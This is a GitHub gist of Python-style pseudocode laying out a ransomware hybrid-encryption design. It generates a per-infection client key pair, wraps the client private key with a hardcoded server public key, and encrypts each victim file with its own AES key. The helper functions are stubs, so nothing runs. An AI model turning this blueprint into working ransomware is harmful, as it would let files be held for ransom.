Skip to content

Instantly share code, notes, and snippets.

@tarcisio-marinho
Created August 30, 2018 17:14
Show Gist options
  • Save tarcisio-marinho/8cb452128d1eb3c7dce9e3911e0f0522 to your computer and use it in GitHub Desktop.
Save tarcisio-marinho/8cb452128d1eb3c7dce9e3911e0f0522 to your computer and use it in GitHub Desktop.
# client public and private key will be here / generated new key pair for each infection
client_public_key = ""
client_private_key = ""
# hardcoded Spub.key
server_public_key = ""
# encrypt Cpriv.key with Spub.key
encrypted_client_private_key = encrypt_client_private_key(client_private_key, server_public_key)
write_to_disk(encrypted_client_private_key)
# desallocated client private key
delete_client_private_key(client_private_key)
# found files on infected machine
found_files = []
# encrypted AES keys will be stored here
encrypted_aes_keys = []
# for each file
for file in found_files:
# generate random AES key
aes_key = generate_aes_key()
# encrypt the file with the key
encrypt_file(file, aes_key)
# encrypt AES key with Cpub.key
encrypted_aes_key = encrypt_aes_key(aes_key, client_public_key)
encrypted_aes_keys.append(encrypted_aes_key)
# Desallocated old key
delete_aes_key(aes_key)
# save to disk encrypted AES keys
write_to_disk(encrypted_aes_keys)
@Ox41
Copy link

Ox41 commented Nov 11, 2022

Are ransomware authors still using this technique?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment